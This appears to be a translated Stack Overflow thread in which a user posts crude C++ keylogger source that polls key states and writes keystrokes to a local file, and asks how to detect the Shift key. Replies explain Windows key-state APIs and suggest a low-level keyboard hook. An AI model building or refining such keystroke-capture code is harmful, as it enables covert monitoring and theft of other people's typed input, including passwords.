【问题标题】:detecting if SHIFT is held down检测 SHIFT 是否被按住
【发布时间】:2018-05-10 18:11:51
【问题描述】:

你好! 我需要我的程序(一个 Dev C++ 键盘记录器)来检测键“SHIFT”是否被按住。然后当“SHIFT”被按住时,程序应该从小写字母变为大写字母......我使用一个名为的 MSND 函数“GeyKeyState”(“检索指定虚拟键的状态”)但它不起作用。无论如何,我不是英语,所以我可能犯了一些语法错误。 提前致谢!

#include <iostream>
#include <Windows.h>
#include <iomanip>
#include <WinUser.h>
//#include <ctype.h>

#pragma disable warning(4996);
#define DELAY 170

using namespace std;

void WriteToLog( char key)
{
    FILE *pLogFile;
    pLogFile = fopen("hooked.txt", "a+");
    fprintf(pLogFile, "%c", key);
    fclose(pLogFile);
}

int main()
{
    char i;
    bool MINUSCOLA = true; //inizializziamo "MINUSCOLA" come "true"

    /*verifico se il caps lock non era attivo prima dell'esecuzione del programma*/
    if ((GetKeyState(VK_CAPITAL) & 0X0001) != 0)
    {                                                           
        MINUSCOLA = false;                                              
    }
    else
    {
        MINUSCOLA = true;
    }

    for (i = 0; i <= 165;i++)
    {
        if (GetAsyncKeyState(i) == -32767)              //questo blocco di IF and ELSE nidificati viene eseguita SOLO se viene premuto un qualsiasi tasto
        {
            if ((GetAsyncKeyState(VK_CAPITAL))||((GetAsyncKeyState(i) == -32767) && ((GetKeyState(VK_SHIFT)&0x0001)!=0)))                   //se premo il bloc maiusc  e invertiamo il valore di "MINUSCOLA"
            {
                 MINUSCOLA=!(MINUSCOLA);
            }
            else
            {
                if (MINUSCOLA == true)                          //se non lo premo e "MINUSCOLA" è "true"  il programma stampa caratteri minuscoli       
                {                                                   
                    WriteToLog(i+32);
                }
                else                                            //altrimenti "MINUSCOLA" è necessariamente "false";quindi il programma stamperà lettere maiuscole
                {
                    WriteToLog(i);
                }
            }               
        }           
    }
    Sleep(DELAY);
    return 0;
}

【问题讨论】:

  • 这个问题与嗅探或数据包嗅探无关。请避免使用不相关的标签。
  • 查找SetWindowsHookEx(WH_KEYBOARD_LL, hookfunction, NULL, NULL); 操作系统会在您按下某个键时通知您。 GetKeyState(VK_SHIFT) 会判断是否按下了 shift 键。
  • MSDN tells you,为什么GetKeyState 不能按预期工作:“当线程从其消息队列中读取关键消息时,此函数返回的关键状态会发生变化。” i> 你不是,所以你不应该有任何期望。无论如何,这个问题被问了一百万次。每天。做一些研究。

标签: c++ winapi keylogger


【解决方案1】:

GeyKeyState 报告线程输入队列的状态,而不是全局状态。 MSDN 甚至会告诉你该怎么做:

当线程从其消息队列中读取关键消息时,此函数返回的关键状态会发生变化。该状态不反映与硬件相关的中断级状态。使用GetAsyncKeyState 函数检索该信息。

如果您需要监控所有键盘输入,WH_KEYBOARD_LLhook 是一个更好的选择。你永远不应该拉小Sleep

【讨论】:

  • 这只解决了简单的部分:监控键盘输入。它并没有解决困难的部分:将键盘输入转换为字符。
  • @IInspectable 否,但问题中的示例代码仅处理虚拟键代码和基本 ASCII 就足够了。问题是关于检测 shift 键,而不是记录完美的 Unicode 输出。
  • 你确实得到了只有 ASCII 字符输入的死键,例如^ 后跟 a(取决于输入区域)将形成字符 â。如果您建议使用低级键盘挂钩,那么提前知道会有一个更难的问题会很有帮助。而且,如果您查看 OP 的代码,您就会知道,这个键盘记录器永远不会出现,所以请节省他们一些时间尝试。
猜你喜欢
  • 2022-01-01
  • 1970-01-01
  • 2012-04-04
  • 2010-11-01
  • 1970-01-01
  • 1970-01-01
  • 2015-12-05
  • 1970-01-01
  • 2019-10-14
相关资源
最近更新 更多